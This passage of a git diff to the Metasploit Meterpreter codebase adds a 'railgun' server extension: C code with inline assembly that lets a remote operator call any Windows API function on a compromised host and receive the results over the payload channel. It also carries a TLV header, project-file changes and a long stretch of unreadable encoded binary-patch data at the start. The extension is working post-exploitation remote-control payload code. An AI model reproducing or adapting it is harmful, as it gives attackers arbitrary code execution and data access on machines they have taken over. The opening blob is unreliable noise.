zld~AD`+2GpfWH_l=;xhXQn`gKb?2w3wl|i%j+8x9nX^?dRY$!t<*GRj6b%Ht*5c5j z(T=t`n(Y02f>bM2uSVd@SB(^7yvu}duKlob1wM}x%KRZ_c4*=rEsD30KCAQh{|CtR zRE#x~#%G{v{$gUz880O(B|hcM;otwkL^9+0&UIPZ8z3htQ82M9@f%^VJ6&o&E zwfa)O3o|;Er4vWA(Z3lC(1~g8a!fgov|?3r*)d@!sk1hM_YQAggZ(8q|z!$`9bfzXvn2NhmEe8AlhZd6J)Z}^Oe(@%iQ#GME1-T;I zVt)9LZlRUePkOx1{n`FU^E`hjCt_oH;&b?tUD4_HmyPP4o^mOQ+>-QL9aq(csILI) zi=tMAA-MRKfK0m>g;MoXIg888hL8C!>D0xkoD-HDmNLdICUw92 z9OYBxE&YAW)Xl2@`t@iDYN6Xrs6ofXVSU-A!0V53zD%eBXwDLv<0e#Wx zXj?pcoD8yNEQWG*=hVS%W4#CY;qbm4{8;%5G|!MXJFBq<(1_WHC{h9)0j+G9j2cZ6 zIFgQ_sC?jqjg%54oT61IW<$HmgsL=gZ^ftf?9H|{Lbvwe?TZx(4##C!&tFn;BZ+Za z@rs=k*=_^ zWsuW`iU9#3h{M^rxQ%*J3A-e^pc;ZV2kS(wp8DvCs|)$+Y8G?(ywDv%7oLe7 zlK8puf2U@&M8yqBaIV@yojd>C>eL2vm`Ka!He{lD4Bgm37(WH_0s9Q4cmm8%BOsD5 z5wLFq43!;1YM{c*J^D4YgLRbrNo65{wyg14KfXW`LVx2`J89eURHMT>8#u6}Hx($E zxvPx}m36MVw&3g4IeU=SV~V4Uai~!v%HJ$s_~=FAc8G1T&7IXJA|!dFbf1$wb@`{X ztJx-InW5!Zt_xmPU>!d`H)(AWhop5%i9re#j=2uKxsIgyGnclumqezQ67VS)?iQZH z*hz+xPvT2&5~gArJIFOLFYs$*g>X@Kj9YpxTPFGeF9i^W*0?v9rk- zm&=sjA04}!o;D1nyW&5nC3DAfy3=++=-iCqPLBLjLHo~ zponPTl+a1@U3&^rzHI;c*bT@c{u3JmYktYQ{r1qiZqU`+>b1T8*TMgOxDz;=X=vDV zc;-4s%h}uNaIx8>-XU-)!28Ma`E8oA`z$8Jwao9fKB3y0H5uiY7nk=@da#^&Phd<`|923I4b&JemT#Cbn_4gOG-QPVv+8? zFwHo)Cb)~0q4Xo6ysCnnhJsB8vCY$0QWAkujm$_;U?$yS#{Vv8v5u@Z>`;XC@{qIO z?+h5y&$xD;GD=dhsG~;5MGY#I3vxq+W`qHWa_5*-Y#34Ggk2Ow5=Du~XyGlWw$alR z%{J!Q_L-^bs zVY0qC4BS=CT(L=|A{VCRET=2z>T^0@A8=IDXtFc%Ua#Y`1!$b9MW`iOVWcVlV~c-s z3D3v6C`0M-Bv%Zj>BK?Y#G@xrOab$%-f-j5YbcWMaqKm8w?m?JZ}%98GmlCSP6U-) z>LNZnB~X87`wS7U8ocF7m+yY0Nmy~r6Ff*NNgXSe!UZ2UD(!p(g(48%K#Nx8;-o3@$^<>9^%^_!RvsYi!eO8NpF ze#^}Y#p8~%SviE9vBybb298SZ?N(}%25+HLEh^GdR%ecZzdjU)jpR7vQe;OiVJ2H0 zF!B1%C1(9IR+_Z>Psu@nS~lxm*mb_lpd%mlU9g=S@h8IX?4AtasE(0?>3+=N00s=l zM<&QX9Pw*@Prw59QKf<`AzCgqZQ>x_P9G1+U2$kk{2pM%3M23{Yj% zFX3#DwR&Bs+1cxTN{1h&v4Vr2m#4+fE+MK4MQ7phLUF`XOUuB+jg!jc^z)z5*lHgR z&d&ObDS_b;@6nyjv_MU@nW}c)u+Oav_~#7&USXA(0FX5b^Tp5*wvR zCec%^7dqxTN%1X`4x6kTl@)E$312qtPSFZFyD2~RN=;C3GtSg2)fh#DRDL4f$n#Uu zl)M=Q6Ep6^N0Mv@acCAmB4`OdJ6au3U6aoJ7&Hn7iK#U?f5mqF`FT}VMu)=#5qWe1 zlF9d(6Tvdv$ywT4`lIxC0+rDhcy$DBBq|Qb2m9Sw;snd{pC);RMo*NP-%}26N0QJR zhekGtx(9LzkuB&*o`&#H?V{md7zybk#EEsiTDZ^UQFRstmG*z6Ykd_nFqG-Pi5!sF z!%Yr)Kk2X=Hb)|NC?W`XIA_$(TtYU`HDAbk?XA&+({peVhz$2Nsdtb(sW|%ld7@qz zW;Uo$V90rMv^^gE?k5FhScf>xq7dcf`!MN421kLG%K;Gqfv%KoZ&Wb zUD$=r6OC40w(CJB=BtJM0&;o ziZLxrV3yy`=-hW7>Q$~#V1(dB=P`EtTvUnRBdZ2%#zY)pf;Iti*u6*k_VA@vrl19`*)yE#z^@1G z=}9Gq1_<*pLiHn6p)bDl>vdqmnqjW~r0rrnEQM8P;A1K5UJ@$&+!Si~)%HFjejF*z z63t$RO6G!in(XYqtr|Y_8v8U1=c@L_gGWjbHfsA#G6FHdPH=Ed)QR{C9&c|>Y;v;s z7FJ`{hwe(-ofTLFfoRaz_RHuoeSnKtY_3J51!FEsmyDwD7aj! zOq6!0(O0>+%;a#shc8z`YAAG&((r5dpB-A_p4@#7W(=crgjVC~Nu@7S+~{z0dMF9~ zg4W1YU)IziTx=n%`6>1i){qW!N%x=F1WP925XnmE)1AbWNcs_A>;?=8wGyLjm;yMI z_tQYO@?Fdt<+J`L8(Dj6JB3`&*Sm#sJB0bY zps{cI%^p6A=AI2`eQno6srO|v+G`*y+8JgykXICO!@%;@<-DBO&k~_mva`Ccp9XRa za?{(ZUA-YM_A^Qrfy1ybSgJIg4%D)-DHXtP(k?KUR16sJxOfFrc_P<*H-KF1U(L>b ztpGB;%cp%(zhV({WY-9m$(MW=S@Oaq-a`v?V@P0U+=Ro(RHR{XvT?aoxiDMCp61La zS$6;6Y%C|2((0m8fv(G`urR#ktwlWBdKR}Tf*ftfSWUN7`z?alKbk2@)zK%=f=4oj zblFQ(pUG?c2p)s`jU|_X+;gt4IfoS@8Ki;_3wJ`B4Jlt`%&(I?_=)aZ>V4^>3)I~H zbxv!rq&GL09~(>4v1=`TPIhhkMc(>5))i#yc{h_Y;IZCne&+>UiEi4*rOcrqtc6~x;2Eg7Sd#TmZXe%5~ zi)UfcNry+6vJP%NvrWjr2O{>PG)u3j)?j8ye`nF80!D~Hd78Bfq@zEiD`VRT4;^Zt z&k!}aLoZ_KETMbm{Sh{uurN#+zBpK%wA%ukOJZ+P9 zUuo=WoP#-;-n@^*+Qa|T@{i$uk_9TdD8wZJ|L|O%u{M*1l_7Wfh9HpGfU||U!1m*3 z-DVkZMN%KrDJkXMV!d?&o7LD7V+(5De(GA0we5a2mA;l{!^6PS`0tGDj{H8m+feP) zQSuSV5Ek7s^VJQW(gE`&-B|wGaqG$r{$}^V>+v(2J9TM} zL6PPI1^Uz&Dt6x}M{T__+HPciPXI}hBf6E6lPM`lz4#m$ILnMDGm8*C4-}M43pA|o zrIWqP9;iJ)@1|?RH_G~-rtOMJ&C^{}^3z{u9esUHFpm>J^M==!g9sg>d%vt@SqaA`8y@8F*+}=Xdhg!r} z6b!2L3-UesxT;Z_gU(gQo8^3FmN1bqc*K-CS5YdK#i3G7WloW#Osg^Hn}t`8^oXb&i^k| z_cAZhfr;!Zdu$u5u#PFri$ITx#p_V%@7;OG@Ag<@VH zaf40cRi9ItI9V2X8iupgWzYYzM)FdH=J8?ad$d=X#F2&1 zxWvUv_y2)#vl5Ms)0$5Nb5P3N^J*7^ilew>Gn0-NNgyq`5N*Mvs7w5A7f2!gq-l2h!`CMCYB> zIXQ7uQS50S%xVQ&7%R7ivLZV0vyk9*u{UG<#I^(`P^BiRquFLZml!j<5y-_}c=&gr z4qN1XpRbV7^D6Y)sRT8l4ZDx>v}|R3Bdwpag)mAORBG)j<37h^k9KGo!Ix{@&Qw;p zE74rL(b_f2_QGiePuYEBt;?(>T%KSRlAvh9c}W-~Ei_RVosHs`&fVG$SO)2q1`DbOA!$@p} zJq9>Ard!+64s!siN@|ddQ&iG;KKrZQ;NdA@Y2dMKd?~A4sb%4WQj-lC>wX|{*P z`93xOv~N+jZYHx@Kmc)vWM6N8(t%HWpz_eY@^_qR; zbI!0v%~xW=AXz0|!)I029R;U9l2J&^qmU3w#B4?RfOAN40=_BI#1qpOllnkqI9Q9# z+@(zP4xP~mhsM5>*|Cyqjbs6(bPGn8qUk)@JRTcnzkYjxxl)Ul;-W?P^RZl|8jR@} zJ(;Thm9TSWGW0`Qs`vc>e!bGLsej(4rCRkO$X3(#+UXqtIV(vH$YylmbEZc%VpU3B>&DeRzn#c9p1!WA85<~`;zU{csF6S*Dx_hhV~ok2!H zL5G-5+-%QPPO}^TqAN7plmaQoK#rmH*;7d2n+d^HEioz;`4(_5WOIU+}0lS)GyGWq(SJ}JT5{JKB>|MUr52tsG{4F24 z?%)TX=CM6^C2B3rei>MtS4dO_Imn@f|KqBR$?HJ9P`Kj(9%%R zzep3R2{cSZL{2x$a4y>L-$qhEq|#_#ekO^sJ2Uyb8ST|Z6H6lvCL^5&vl z+2F1;xpu#8H(TP55XluRXV}<;*qiaq+0gW1+$9J3`;do874QOs>J0V7(f&3h;8L~9 z|7w<<<0pKJo)dgNAB0L@o80WcOAs)S6F60oe<&9l4mHb3iVX?XL~xeFMjG0HQ9{|N zz;Q&~qs}}~%eIRffN5T%)(!!OFd~kk17#Dlkdw~Nc7}{>)K$(L=33)xp>ICUI%Z#T-cUSjOe6{S71eNcEeN)PlQJ@^)rz=9^Ppv0Vqsux{^QJsf%jZH(4~mtOU#<0 z-w{T7`YR`m9{ii4eL@E7U2WuNF7A?SRCVG^Q-5w&XkyhVQ#-nDMoJ+x1Gzt+4RbeXTX6Fk^kDKC zF*_$nc0Q{sMyt!HSJf`^H-wg@zP?~&E~VuhU}XOw6~GJ7GM4As!O-SzoM#*7V(1$o z<8eJ5IwC=gQNo0Cr8mfEM}q%XU4{Ng?7v_%JN_+9DwDWBnc!enymm1ogT)&&5~eN0 zK}}`E`5@>gVUp(MfHmbgKGKvDIXgZ{dj)Bitf$`La2;+DAJGGE2Ui+{VvHS!O(J5A z8AM2mjM=(fG%u}X1ve^i5kI!BS$BwpqDy1+m!s;zVFw(8QiDFrRn!q!EP6WKPGg+? z@V)R8JyMdILi7;M0Nt`SMmyMI>8i<2DI`aWH3B zBz3!`nrUYJ7$cOs3AF=-tfij*DHqjsDtmgZWaZw1(i*&3=W2h@I#%dxDjmp>uD%}% z9#BZvJR5@-D*doEd^Rfp4dDvWk;cU}5K>&;NtIiBi(x75>oPEQ%BV{|V_}UMEgWd9 zZl1z#V}ca+tQvk#J@NjxQyry~B||567pNx#VMBC1 zEt7bzxZCqJR7_Z0(7z*9C{g}9cUj6iH=AM-2M%hjM#df+uVn5n~pLU_X5 z8Sgs|2_~@gAr?I`LadY^g?cf4MW=D1Y{-t&_lmbb5qf>3nlFNT&8XlIDlM$M!72_^ zDv=%r%2YlT$4;Oa`jT{^qx>uPSFmV`dapB*>!w6~6dN4{v?o;KChYZ%)l1W)kpEkq zs=qb+G!Ubh-}cm^74+O+cD&Du8fh>YKdbfH_^qLIp8sb+=DdJq897-uYtwqsehj}{ z(n~4D(^nR{RSH?y5BYxvC8p0D=`3EpTF#B}g~|0Emx~10Uaav3T#uP#iUEW*sk2s5 zJ?|(tRIz_iNn4QGW|n@sMW8~PK((Ny(`+S7Pk20?9y~|IYPb zcpgQRkx(gR&J`_OjOt|5@;(`73+)aPXtlPznDY?3Emm6&ITx?0W?6zJg@L`ia)@cu z`LwIkXd-?T;n|m2Q1QO6q`Z)MQVJX=syVlL$pvU@j3#EK*rp$y z)5IBSsR&IWgz6t-|maa5xJI~;uVEczxnLSLd*cWMK-i7#DhzY9zb|LaNe|#2A zjyrKjYscj0)&^9zs-N5%?FFdi;N2>kItGVDdis-A!aeh__EPM0g1xUatf3Ur%hU>b z@F-;`oUWHtA>#$)6iXO!zBtQY#I$&ll7R{6##~k>l@vc)0Z%!zp8AEV551_)x|dxh zU^|8cov7IEVtg{*FzPO+u`gZ&=v3K9zO6=(x0Z`_OGRX~!!<^`HBoV1P zEj(%qY1=;TTBMi%j+e1`p0EfdmXk|zRt-+NYy37^Jg<5@mt*s9KMNYqQp?sl_cQZ2 z!uw;`*DhwyWqU6bGjL7_Mocbr|Fho|D_q{-w(IUXeh4lNy=H1yMo1Z5+vn4bFX_Y`%g3+h)Tz&OqafTC$~km6p*x{9RY=Lm}A zLBy4P*P*b+9GWQtPi=Kcs$3A}HocO8kPO9Mj&s{I@y!#|he`8#-16R9Zpc&)iamcA zCYt`OC`DF@*(<9$=;8g8Ms3tIRruMg<8EU?)>`AV)el)F`hZLpyukEx#9S+X+i#aH7)pZ*^NNq}+oIs`?Q~C8!$$6cmSNDsiXd7P7 zBg?k>s!;Cr%sppp>+-9D-e z=On-ygmmziPEH=h=;j?fv`BjMzZ7@v;ZWz_zhr5VuCm3KQOmeAx6fzpnUTgNmqCO? zG-d{axtJNb7S^V=M5_y730smRk`%F(Yc46ZU9`w0x<_))d_SYD-DY}z`}<>`=lgjc zXU^w*&ij4N`*qIye8%(4bKWYB&^OO+b*ICFm$8R&+RFyl)ZTAAZJxQp)ASCE?w7E4 zhGWizN7O(E5rbp)*hHTbImtefrG+oE&-yji(`}n4G)vvbe5&8ywk*li_)vK%?j<4I zSA$F1-fZw-*K$q#F)=-sc(gOB!GFQ74qeG~{PZmHCVcvJ*In0_>B1YJ3Gc)3>(V3X z4_};97=OP4+o{~Ieq_&XT}PYYCo516HrMqQJB0MD&@_n0DnsYG@(pMm+QX#Pxv#Yo z_XTcF$F5B?Fv8N)wd@YBNH;jRtD{lXTq*l-X8+w3evwU}HLPwYJLS>sikZWA4uB^j ziGAkF@g6O-isw$J*V4bcZadY*@V@t!6GA-}?QqyS^MR*Q878rnGHRQL9y@_bOj{vt z%OS2Sa!;@I$WmUh`l>Mem~+0X;oV3Le6)F%U$4eCoI~of7KaPq4!7ueOuY!i@eo%P z-hqc)=XYi`w6z`6+6MV2Tud99S?yYZ8vcAY+6I+J-pY@vHG{7#dv)MN$9_S}-i|7k z4xCzhC5KqP+@$J>Q*%Al#>f8(WAKpD4yMRQQx^nsS+K}B(O$QDcrK;+@a!s64KRNM3{Z-+` z%@nVI^Q(?l)t_F!eix^JR3Na8o7hq8tV&7t8d&$n!<#x?-?c94#=SyE(WG&nTbF$o zb+Zb!^4_3esKoDguIJM_UoN|;si4XD!Y#itRV7c`Mh{|8(Ds4yjK$}owsTjytF4T8 ztXMR9|KLEwZ8ay4Wt$(WWfm%&>`zI^HhGRn9YTcdGf50G2(>bx3%3b8Gg~yRdJZi- zUcaBl`@T)f)Htqa$v*!`g=4dmHg(;9t# zz3tw`d#ZtlnZKl7+A)t)QBR(iCNVIZEQFyXJ$aeP*2{T=lzPGg(Fh1NzsVksc&N>Bd;*CDA z>G6w;Y)ijV!nl5C%o<E^}jaOdIrbz+1JKmY23a3}1D8w59g8TIRAkqovvo*Ox9< z|4H5WWi3NF=|M^X=Kwb)U-B27M80BuV+I3WoJZ~&K(2JJkcyxeeP4V#k zrrForyj^iUcC=_=K0Jg6=Y`YJDHHn;3wD_6O=PajZq6BO zWhq&!_YH}<7l*`XBiAB$dSw;s2bA7!z18skwy!o~neKuf%jD1_oePpS{Z`0cII zvGHDE^Ub~djXYzHWu&{-uljH5Xi8!{2`#A0e7@@_UgwNg?jI$;3%g3Szm3~C_#tPJ zrJ*5ZVPm&PP1Fv{y8Q)~R(mr0T(_MxxXR!#ThqtR2277}mS0(G<4}{DaRLbJcN1OL z3cTrYH73+(x1fpOmU`UFA-=62pJ8fnwE2blT_o>Zrpv(n%QrGH-#NuEx3{4`)*Dor z9!p9*AM$N}PmJQ3?-(W6Ut@k~B&Pj39{;A<{NB*R3VnoXesf4V@m;pgwWW*B>DTMP zT%A?bH{XiR2@66ZTe&y4r#CkULy!?U&Ii>J=BfFTRyW>>9Yf!aAPq+g0!hz8>NKnH z$NF+drba9WqHRe?-Co}i+RpFx_GK$7+{|_CSf8V_Wx-8OUjnW-)+#!!#(i~1|H0yK zN_1G7$mEsDF`3&VOTu3Acf6f0BE9O=@mU^}oyKsbq0ZhpfBD#~ zIoqXrD4~rr9(=|z$n)}e&eR{u?)@xBZ>O!)Vtl3z)*BeXTslvTr}HSS;ZL{shC#M+qyzsL-8BC z(`XW|ySQNycYV}I>8Uqqcgl8Incr?HqU(1wSJ~+QqJI%og=Kgr9g_ns_);J-*am|L($2;hyk0{%`>wJs|4@~hH z)(wSQ0xzbxKSPi&Z#(Jw);8YNF1RG5pFRn-^gP|NU-9+oH4%udC!LS&zhozw-%AtU zc<6KGLskZX7xfb_x>>*cM(OdqPLI;27m{b?{9qUREmfp)qx{`XJJW;DAjB?&L>V^qnj55<4{*qZvFEv2>WiCy^x z7TB%FGt=!{*HF|t$Th1O_4DLWPvTSS-)og$zF*D*N6+iQ(4)Mjp+ z5Pf_8O^VaH@1~3FauuKV`CNN&S#()9r?NhNaqd{L!fT@yGZIxn_H?!J#I#ds^g<2q zg}Xu9KHUvXntF@g&uB^NYlivI$D7zn<)CWgw+n6IJhWpzgv2$nM(%E7Liy>yHpj<+I#SsEF zYAfCTb5kuGfce~0%hW7fz+eWk#V}vCKZi$wzp1Q&!#FGo+#N?p(*-nk0B2LAknIxb zu!R{J#3ZrcW>ghZGX{(A%SMDV1PDJ)u$V0r!Pp`uWev^Q-fE3hA)Fk}6>uRpVBy?g zo`@VyfzJ&gL%dXsg2U!i#6cAJR=N{R%;yIOal|kHNkU=}7;qiTPsrf1!}!7=7zT-l zLsJS_eq?70t3M}%?kMm8u~j}N zBC&`m;LQ1TpgeE0I zDPc0 zP>x_AKUqw&A7992K-+;K5Cn6W3^BAzP*5(zsix3FF-IKCrp|3w^I-8uCYU4Le&k>V z&z}MhN3hs_jL={){EI~3O5-yZ@44uOe!dNsa^W8%6wIN1Wag$u{bdf~n9^+I3qM+P zVTXJ&{e_jeY3H)#WAeyMJ2y-^?dQq9k{EL$s1!jtg8E$Os4B33>H7C3`m4ILc~D6Y zlh$sC6Nw?DxKd8qTN3!|gz- zVSv=23i1ycTckN+`1dmK57GZ*oG<)h)c>M*K(3gFiUVXkkQ%1lMK&*@m z05Q<0FZBQb1CV57kOoFp4-J)Js5Phb`fLNh5lON(uppi&I~E{dK!VIz92Sqo$jAVY zfF;Vxh|oVPvN9ah@KaU>g3>OiU-}0?mStqnI!LnXKoc=|SquOO;IH@s%Gto;iJ*)P z5X9nTZ2%xB=L-N}<#8rrNU}CCXaFte3y8(ZVh;c~sD0~~7(ip?;)?;XU%?NDmYCQ?c!KPDu^>^-E)Gk?%HfAaOTTh|nUh$6Ad3NjB@tv}4&Z>V>^CeRr-z4< zT-F92E0^N{0VkJN1S|&p8>V6*gA>das+gL>P%fNEHdJ$9C}%!j41++1Im1vkJU>26 z`WkRnLD^WqJWXjhq6Hprjw9i*1U$)d<3= 0x%08X",ii,item,stack[ii]); + break; + case 2: // relative ptr to bufferOUT. Convert to absolute Ptr + stack[ii] = item + ((DWORD)bufferOUT); + dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); + break; + case 3: // relative ptr to bufferINOUT. Convert to absolute Ptr + stack[ii] = item + ((DWORD)bufferINOUT); + dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); + break; + default: + dprintf("Invalid stack item description %d for item %d",itemType,ii); + goto cleanup; + } + } + + dprintf("calling function.."); + SetLastError(0); + // written for readability. + // The compiler MUST use EBP to reference variables, sinde we are messing with ESP. + // In MSVC parlance "Omit Frame pointers" OFF! + __asm{ + pusha + // save ESP + mov EBX,ESP + + //"push" all params on the stack + mov ECX,[stackSizeInElements] + mov ESI,[stack] + sub ESP,ECX + sub ESP,ECX + sub ESP,ECX + sub ESP,ECX + mov EDI,ESP + cld + rep movsd + //and call! + mov eax,[funcAddr] + call eax + // restore stack. no matter the calling convention + mov esp,ebx // starting here we can use vars again + mov [returnValue],EAX + popa + } + lastError = GetLastError(); //must be called immediately after function + + dprintf("called function => %d",lastError); + + // time to ship stuff back + response = packet_create_response(packet); + dprintf("created return packet"); + packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_ERR,lastError); + packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_RET, returnValue); + packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT,bufferOUT,bufferSizeOUT); + packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT,bufferINOUT,bufferSizeINOUT); + dprintf("added stuff"); + packet_transmit_response(ERROR_SUCCESS, remote, response); + dprintf("transmitted back"); + +cleanup: // todo: transmit error message on failure + dprintf("request_railgun_api: cleanup"); + if (bufferIN != NULL) {free(bufferIN);} + if (bufferOUT != NULL) {free(bufferOUT);} + if (bufferINOUT != NULL) {free(bufferINOUT);} + if (stack != NULL) {free(stack);} + return 0; +} + +Command customCommands[] = +{ + { "railgun_api", + { request_railgun_api, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + // Terminator + { NULL, + { EMPTY_DISPATCH_HANDLER }, + { EMPTY_DISPATCH_HANDLER }, + }, +}; + +/* + * Initialize the server extension + */ +DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +{ + DWORD index; + dprintf("InitServerExtension"); + + hMetSrv = remote->hMetSrv; + + for (index = 0; + customCommands[index].method; + index++) + command_register(&customCommands[index]); + + return ERROR_SUCCESS; +} + +/* + * Deinitialize the server extension + */ +DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +{ + DWORD index; + dprintf("DeinitServerExtension"); + + for (index = 0; + customCommands[index].method; + index++) + command_deregister(&customCommands[index]); + + return ERROR_SUCCESS; +} diff --git a/external/source/meterpreter/source/extensions/railgun/server/railgun.h b/external/source/meterpreter/source/extensions/railgun/server/railgun.h new file mode 100755 index 0000000000..e301539eec --- /dev/null +++ b/external/source/meterpreter/source/extensions/railgun/server/railgun.h @@ -0,0 +1,70 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H +#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H + +#include "../../common/common.h" + +#define TLV_TYPE_EXTENSION_RAILGUN 0 + +#define TLV_TYPE_RAILGUN_SIZE_OUT \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1301) + +#define TLV_TYPE_RAILGUN_STACKBLOB \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1302) + +#define TLV_TYPE_RAILGUN_BUFFERBLOB_IN \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1303) + +#define TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1304) + +#define TLV_TYPE_RAILGUN_DLLNAME \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1309) + +#define TLV_TYPE_RAILGUN_FUNCNAME \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1310) + +//////////// + +#define TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1305) + +#define TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1306) + +#define TLV_TYPE_RAILGUN_BACK_RET \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1307) +#define TLV_TYPE_RAILGUN_BACK_ERR \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_RAILGUN, \ + TLV_EXTENSIONS + 1308) + + +#endif \ No newline at end of file diff --git a/external/source/meterpreter/source/extensions/sniffer/sniffer.h b/external/source/meterpreter/source/extensions/sniffer/sniffer.h index a04c4390a5..1564da754b 100644 --- a/external/source/meterpreter/source/extensions/sniffer/sniffer.h +++ b/external/source/meterpreter/source/extensions/sniffer/sniffer.h @@ -1,6 +1,7 @@ #ifndef _METERPRETER_SOURCE_EXTENSION_SNIFFER_SNIFFER_H #define _METERPRETER_SOURCE_EXTENSION_SNIFFER_SNIFFER_H +#include "../../common/common.h" #include #include diff --git a/external/source/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcproj b/external/source/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcproj index c1847911c5..9322570049 100644 --- a/external/source/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcproj +++ b/external/source/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcproj @@ -91,79 +91,6 @@ Name="VCPostBuildEventTool" /> - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/meterpreter/workspace/meterpreter.sln b/external/source/meterpreter/workspace/meterpreter.sln index f88d273035..20ec44b250 100644 --- a/external/source/meterpreter/workspace/meterpreter.sln +++ b/external/source/meterpreter/workspace/meterpreter.sln @@ -1,6 +1,6 @@  Microsoft Visual Studio Solution File, Format Version 10.00 -# Visual C++ Express 2008 +# Visual Studio 2008 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_priv", "ext_server_priv\ext_server_priv.vcproj", "{87C64204-C82F-415D-AF45-D0B33BDFE39A}" @@ -67,6 +67,13 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\sc {72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D} EndProjectSection EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_railgun", "ext_server_railgun\ext_server_railgun.vcproj", "{488BE203-8407-42D1-B334-8B5C3BC5AB3F}" + ProjectSection(ProjectDependencies) = postProject + {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} = {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} + {72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D} + {37E24F8F-1BD9-490B-8CD2-4768B89E5EAB} = {37E24F8F-1BD9-490B-8CD2-4768B89E5EAB} + EndProjectSection +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 @@ -150,8 +157,7 @@ Global {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Debug|x64.Build.0 = Debug|x64 {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|Win32.ActiveCfg = Release|Win32 {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|Win32.Build.0 = Release|Win32 - {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|x64.ActiveCfg = Release|x64 - {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|x64.Build.0 = Release|x64 + {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|x64.ActiveCfg = Release|Win32 {662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Debug|Win32.ActiveCfg = Debug|Win32 {662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Debug|Win32.Build.0 = Debug|Win32 {662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Debug|x64.ActiveCfg = Debug|Win32 @@ -166,6 +172,12 @@ Global {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32 {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64 {09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64 + {488BE203-8407-42D1-B334-8B5C3BC5AB3F}.Debug|Win32.ActiveCfg = Debug|Win32 + {488BE203-8407-42D1-B334-8B5C3BC5AB3F}.Debug|Win32.Build.0 = Debug|Win32 + {488BE203-8407-42D1-B334-8B5C3BC5AB3F}.Debug|x64.ActiveCfg = Debug|Win32 + {488BE203-8407-42D1-B334-8B5C3BC5AB3F}.Release|Win32.ActiveCfg = Release|Win32 + {488BE203-8407-42D1-B334-8B5C3BC5AB3F}.Release|Win32.Build.0 = Release|Win32 + {488BE203-8407-42D1-B334-8B5C3BC5AB3F}.Release|x64.ActiveCfg = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/external/source/meterpreter/workspace/metsrv/metsrv.vcproj b/external/source/meterpreter/workspace/metsrv/metsrv.vcproj index 713f794c36..ecf10ae5cc 100644 --- 